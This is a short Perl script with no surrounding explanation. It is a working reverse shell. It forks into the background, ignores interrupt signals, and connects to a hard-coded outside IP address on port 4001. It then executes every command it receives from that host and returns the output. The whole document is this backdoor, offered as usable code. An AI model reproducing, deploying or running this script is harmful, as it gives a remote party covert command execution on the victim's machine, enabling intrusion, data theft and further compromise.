#!/usr/bin/perl

use IO::Socket;
$host=62.105.26.149;
$port=4001;
$time=2;
$|++;

$SIG{INT}='IGNORE';

unless(fork) {
sleep($time);
$sock=IO::Socket::INET->new("$host:$port") || die;
$sock->autoflush(1);
$true=1;

while($true) {
$buf=$sock->recv($cmd,128);
chomp($cmd);
if ($buf) {
$ready=`$cmd` || print $sock "$!\n";
$sock->send("$ready");
} else {
$true=0;
}
}
close($sock);
}